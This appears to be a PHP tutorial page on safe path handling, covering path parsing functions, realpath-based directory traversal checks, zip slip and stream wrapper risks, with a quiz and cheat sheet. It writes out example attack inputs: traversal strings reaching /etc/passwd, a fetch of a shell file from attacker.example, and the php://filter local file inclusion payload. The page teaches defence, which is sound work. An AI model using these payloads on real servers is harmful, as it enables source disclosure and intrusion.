Skip to content
intermediate Phase 7 · Filesystem and Session Management

Safe Path Handling

Resolve paths and reject directory traversal attempts.

40m
0 problems
Topic Progress 0%

basename, dirname, pathinfo: Splitting Paths Without String Surgery

A download endpoint builds a filename with $name = explode('/', $url)[count(...) - 1]; and ships it to the filesystem. On Linux it mostly works. On Windows the same user input arrives as reports\2024\q1.pdf, the split finds no slash, and the whole string — backslashes included — becomes the filename. Any time you split a path by hand, you are betting on one separator convention and one platform. PHP has had the correct functions for this since forever:

$path = '/var/www/storage/invoices/2024/q1.final.pdf';

basename($path);                  // 'q1.final.pdf'  — the last segment only
basename($path, '.pdf');          // 'q1.final'      — optional suffix stripped
basename($path, 'l.pdf');         // 'q1.fina'       — suffix match, not extension-aware

dirname($path);                   // '/var/www/storage/invoices/2024'
dirname($path, 2);                // '/var/www/storage/invoices'  — walk up N levels

pathinfo($path);
// [
//   'dirname'   => '/var/www/storage/invoices/2024',
//   'basename'  => 'q1.final.pdf',
//   'extension' => 'pdf',
//   'filename'  => 'q1.final',
// ]
pathinfo($path, PATHINFO_EXTENSION);   // 'pdf' — single call, no array allocation

Three details decide whether this is correct or merely convenient:

  • basename() understands both separators on Windows. It strips / and \ there, so the same call normalizes input from either platform. On Linux a backslash is a legal filename character and is left alone — which is why a backslash in uploaded names should be rejected outright rather than "cleaned".
  • extension and filename split at the last dot. archive.tar.gz gives extension gz and filename archive.tar. If your logic needs the full compound name, ask for basename() and cut the extension yourself; if you are whitelisting upload types, strtolower(pathinfo($name, PATHINFO_EXTENSION)) is the right question to ask — while remembering from Handling File Uploads that the extension is still a claim until the content is sniffed.
  • The optional suffix on basename() is a string suffix, not an extension check. basename($p, '.pdf') strips exactly those trailing characters from every name; a file called .pdf becomes an empty string. Validate first, strip second.

Rebuilding is just as easy and just as commonly done wrong:

$dir  = '/var/www/storage/invoices';
$file = basename($userInput);                 // never re-embed raw input
$full = $dir . DIRECTORY_SEPARATOR . $file;

Two more behaviors are worth internalizing while you are here: dirname() ignores a trailing separator when counting levels (dirname('/a/b/') is /a, not /a/b/), and pathinfo() takes a flags argument, so pathinfo($p, PATHINFO_BASENAME) returns one piece without allocating the whole array. The habit these functions install matters more than any single call — treat a path as a structured value with parts, never as an opaque string you slice with substr(). The moment the code starts doing arithmetic on slashes, platform assumptions have entered the design.

DIRECTORY_SEPARATOR documents intent even though / works everywhere in PHP; the real safety came from basename() reducing attacker input to a single segment. Note what these functions do not do: none of them resolve .., none of them touch symlinks, and pathinfo() will happily return an extension for /etc/passwd. Parsing a path and trusting a path are different jobs — parsing belongs here, trusting is the next chapter.

One rarely met caveat: basename() is locale-sensitive for bytes above 0x7F under some LC_CTYPE settings, so a UTF-8 filename can be mangled on systems with an unexpected locale. When names are international, normalize with mb_-aware checks or restrict the accepted character set explicitly instead of assuming basename() preserves every byte.

The Filter That Always Breaks: Catching ../../ Before It Escapes

A file server exposes /download.php?file=notes.txt. The attacker changes it to file=../../../../etc/passwd and the response is the password file. PHP never questioned the path because the application concatenated it: $path = $uploadDir . '/' . $_GET['file'];. The .. segments walk out of the directory the developer assumed was a boundary. This is path traversal, it is on the OWASP list every year, and it is the single most common filesystem finding in PHP code review.

The obvious fix does not work:

$file = str_replace('..', '', $_GET['file']);   // ....//  ->  ../  after one pass
$file = preg_replace('#\.\./#', '', $file);     // misses ..\ , url-encoded, nested forms

str_replace is not a loop that keeps going: ....// collapses into ../. The regex misses backslash variants, %2e%2e%2f (decoded once by the framework but sometimes twice), overlong UTF-8 encodings, and a bare .. at the end with no trailing slash. Worse, sanitizing teaches the code to accept anything after mangling it, when the correct response to a path that tries to leave the root is rejection, not repair.

The robust pattern canonicalizes both sides and compares:

function resolveInside(string $root, string $relative): string
{
    $rootReal = realpath($root);
    if ($rootReal === false || !is_dir($rootReal)) {
        throw new RuntimeException('storage root is not a directory');
    }

    $candidate = realpath($rootReal . DIRECTORY_SEPARATOR . $relative);
    if ($candidate === false) {
        throw new RuntimeException('path does not exist');            // realpath() fails on 'a/../b/../..' gaps
    }

    $prefix = $rootReal . DIRECTORY_SEPARATOR;
    if (!str_starts_with($candidate, $prefix)) {
        throw new RuntimeException('path escapes the storage root');
    }

    return $candidate;
}

resolveInside('/var/www/storage', 'invoices/2024/q1.pdf');   // ok
resolveInside('/var/www/storage', '../../../etc/passwd');     // /etc/passwd -> rejected

realpath() collapses .., resolves symlinks, and normalizes separators, so by the time you compare, the tricks are gone — /var/www/storage/../../etc/passwd becomes /etc/passwd, which fails the prefix test. Five details make this check actually hold:

  1. Compare against the root with a trailing separator. Without it, a sibling directory /var/www/storage-old passes str_starts_with('/var/www/storage-old/...', '/var/www/storage').
  2. realpath() returns false for paths that do not exist. For writes (the upload destination), canonicalize the parent directory instead, then append your own generated filename.
  3. Resolve symlinks. A link inside the root pointing at /etc is a traversal no string filter sees; realpath() does because it follows the link.
  4. Mind case-insensitive filesystems. On Windows and macOS, /var/www/Storage equals /var/www/storage; use a case-insensitive comparison there.
  5. Reject both encodings of the attack. After URL-decoding (and only after it — rawurldecode once), a value still containing .. as a segment deserves a 400 before any filesystem call.

A variant deserves its own name: zip slip. An archive whose entries read ../../.env extracts outside the destination for exactly the same reason a URL parameter does — the traversal lives in the data, not in the request line. Streaming entries to disk therefore follows the same rule: build $dest = $extractDir . DIRECTORY_SEPARATOR . basename($entry->getName());, or run the containment check on every entry name before writing it.

For simple filename inputs there is a legitimate shortcut: basename($input) discards every directory the client sent, and you then re-attach it to a fixed root. That is containment by construction rather than by comparison. Use it when the input is a name; use realpath() when the input is a relative path — and either way, never concatenate raw input into a filesystem call, which is the habit that made Handling File Uploads dangerous in the first place.

Stream Wrappers: When a "Path" Is Also a URL — php://filter and phar://

fopen($path, 'r') looks like a filesystem call, but PHP first inspects the path for a scheme. file:///etc/passwd, http://api.example.com/data.json, php://memory, phar://plugin/plugin.phar — each prefix selects a different stream wrapper, a driver that implements read/write for its own resource. The uniformity is the feature: the same file_get_contents() fetches a local file, a remote document, or a custom storage abstraction you registered yourself.

Wrapper Example What it does
file:// file:///var/www/a.txt plain filesystem (the default)
http:// / https:// https://api.x.com/v1.json HTTP client, subject to allow_url_fopen
php://input php://input raw request body, readable once
php://memory / php://temp fopen('php://temp', 'r+') in-memory / tmpfile-backed buffers
data:// data://text/plain;base64,SGk= inline data as a stream
phar:// phar://app.phar/src/A.php reads inside PHP archives
glob:// glob:///*.txt directory iteration as a stream

That table is also an attack surface. Two entries are famous:

http://attacker.example/shell.txt          # if allow_url_fopen=On, fopen() issues the request
php://filter/read=convert.base64-encode/resource=/var/www/config.php

The second is the classic local file inclusion payload. It does not execute anything by itself — it returns your own source file, base64-encoded, which the attacker decodes from the response. resource= can point at any readable path, so once user input reaches fopen() or include() unchecked, the attacker chooses both the target and the transformation. allow_url_include (default Off, and Off in every hardened php.ini) governs whether include() accepts remote http:// paths at all — do not confuse it with allow_url_fopen, which only affects read functions.

phar:// carries a second hazard. A Phar archive stores metadata that PHP unserializes when the archive is opened through the wrapper, so feeding an attacker-controlled path into any filesystem call — file_exists(), fopen(), is_dir() — can trigger unserialize gadget chains if a vulnerable class exists in the codebase. Defenses: never pass raw input to filesystem functions (the previous chapter's rule), keep dependencies patched, and, for scripts that only ever touch real files, disable what you never use:

stream_wrapper_unregister('phar');                 // and 'http', 'https', 'data' if unused
stream_wrapper_restore('file');                    // explicit allowlist of drivers

php://input deserves its own note: it exposes the raw request body — the input every JSON API reads with json_decode(file_get_contents('php://input')) — and it is re-readable when the body is not chunked, unlike the older write-once behavior. It is also not a target an attacker can aim: that name always refers to this request. The wrappers where the user chooses the target are file://, http://, https://, phar://, and data://; those are the schemes your validation (or your stream_wrapper_unregister() calls) has to account for.

Wrappers are also legitimately powerful: php://temp gives you a seekable buffer that spills to disk past a threshold — ideal for large uploads you must inspect before storing — and stream_wrapper_register('s3', S3Stream::class) lets your own class back every fopen('s3://bucket/key') with object storage, no call-site changes. The design rule is the same one you have been applying all along: decide what a path is allowed to refer to before the runtime interprets its scheme.

With files read, written, uploaded, and safely resolved, PHP still has one state problem left: the language is stateless between requests — and that is what Session Start and Configuration solves.

Quiz

1. A download endpoint does str_replace('..', '', $_GET['file']). Why does ../../etc/passwd still get through?

Question 1 options

2. Why does the containment check append DIRECTORY_SEPARATOR to the canonical root before str_starts_with()?

Question 2 options

3. What does the payload php://filter/read=convert.base64-encode/resource=/var/www/config.php achieve?

Question 3 options

4. Which input-validation approach gives containment by construction for a single filename from a user?

Question 4 options

Flashcards

Question

What do basename(), dirname(), and pathinfo() return for /var/www/invoices/2024/q1.final.pdf?

Answer

basename → q1.final.pdf (dirname → /var/www/invoices/2024, dirname($p, 2) walks up two levels); pathinfo → dirname, basename, extension 'pdf', filename 'q1.final' — extension and filename split at the LAST dot, so archive.tar.gz yields extension 'gz'.

Question

Why does realpath() make traversal checks reliable where string filters fail?

Answer

realpath() collapses .. segments, resolves symlinks, and normalizes separators, so /var/www/storage/../../etc/passwd becomes /etc/passwd before you compare — then a prefix test against the canonical root + DIRECTORY_SEPARATOR accepts or rejects the final location regardless of how the input was encoded. Caveat: it returns false for non-existent paths, so for writes canonicalize the parent directory.

Question

Reject, sanitize, or canonicalize — which do you choose for path input and why?

Answer

Reject values whose segments contain .. or a scheme, once, after decoding — rejection communicates intent ('this tried to leave the root'). Sanitizing by replacement is unsound (single-pass str_replace leaves ....// → ../) and hides attacks. Canonicalize only to build the real path for the comparison itself, never as permission.

Question

What are stream wrappers, and which shipped ones deserve to be disabled in production?

Answer

Wrappers implement PHP's uniform stream API per scheme — file, http(s), php://input|memory|temp, data, phar, glob — selected by the path prefix. When a script needs only local files, stream_wrapper_unregister('phar'|'http'|'data') shrinks the surface: phar:// metadata unserialize enables gadget chains, http:// makes any filesystem call an SSRF, and php://filter is the LFI source-disclosure primitive.

Question

How can a path you pass to file_exists() or fopen() cause unserialize to run?

Answer

If the path points into a Phar archive (phar:// or a path PHP auto-opens as one), PHP reads the archive metadata, which is serialized data — triggering unserialize() and any gadget chains present in loaded classes. Untrusted input must never reach filesystem functions; supplements include unregistering the phar wrapper and patching dependencies.

Revision Notes

Key Takeaways

  • 1. basename/dirname/pathinfo parse paths portably — manual explode('/') breaks on Windows separators and pathinfo splits at the last dot
  • 2. Sanitizing with str_replace('..','') is provably lossy (....// → ../); rejection after decoding beats repair
  • 3. realpath() collapses .. and resolves symlinks, so canonical-root + trailing-separator prefix comparison contains even symlink attacks
  • 4. Every filesystem function interprets a scheme first: php://filter discloses source, http:// becomes SSRF, phar:// unserializes metadata
  • 5. For a single filename, basename($input) plus a fixed root gives containment by construction — no comparison needed

Interview Tips

  • • "How do you prevent directory traversal?" — canonicalize with realpath, compare against root + DIRECTORY_SEPARATOR, reject false; then add the layered answer: decode once, reject '..' segments early, basename() single names, never concatenate raw input
  • • "Give a real bypass of a naive filter." — str_replace('..','') with ....// , or %2e%2e%2f double-encoded, or backslash variants on Windows; showing one concretely proves you have seen filters fail rather than memorized the rule
  • • "What is php://filter and why is it scary?" — a transformation wrapper whose resource= names any readable file; base64-encode gives source disclosure in the response during LFI, with no execution and no allow_url_include requirement
  • • "file_exists() triggering unserialize — how?" — phar:// metadata is serialized; opening an attacker-supplied path can deserialize it and fire gadget chains — hence untrusted input never reaches fs functions and the phar wrapper can be unregistered

Cheat Sheet

Safe Path Handling

Path primitives:

basename($p)              // last segment; on Windows strips / and \ alike
basename($p, '.pdf')      // string-suffix strip (not extension-aware!)
dirname($p, 2)            // walk up N levels
pathinfo($p, PATHINFO_EXTENSION)   // split at LAST dot: a.tar.gz -> 'gz'
$full = $dir . DIRECTORY_SEPARATOR . basename($userInput);

Containment check (the pattern to quote in interviews):

$rootReal = realpath($root);                       // false -> fail
$cand     = realpath($rootReal . '/' . $relative); // false -> does not exist
$prefix   = $rootReal . DIRECTORY_SEPARATOR;       // trailing sep! (storage vs storage-old)
if ($cand === false || !str_starts_with($cand, $prefix)) { reject; }
// writes: realpath() the PARENT dir, then append your generated filename
// case-insensitive filesystems: compare case-insensitively

Why filters fail: single-pass str_replace('..','') turns ....// into ../; regexes miss ..\, %2e%2e%2f, double-encoding. Reject after one decode; do not repair.

Wrappers: file:// default · http(s):// (SSRF when allow_url_fopen=On) · php://input|memory|temp · data:// · phar:// (metadata unserialize → gadget chains) · glob://. php://filter/read=convert.base64-encode/resource=<file> = LFI source disclosure; allow_url_include (Off) only gates remote include().

Harden: stream_wrapper_unregister('phar') / 'http' / 'data' for scripts that need only file://.

Continue Learning

Before You Start

Related Reading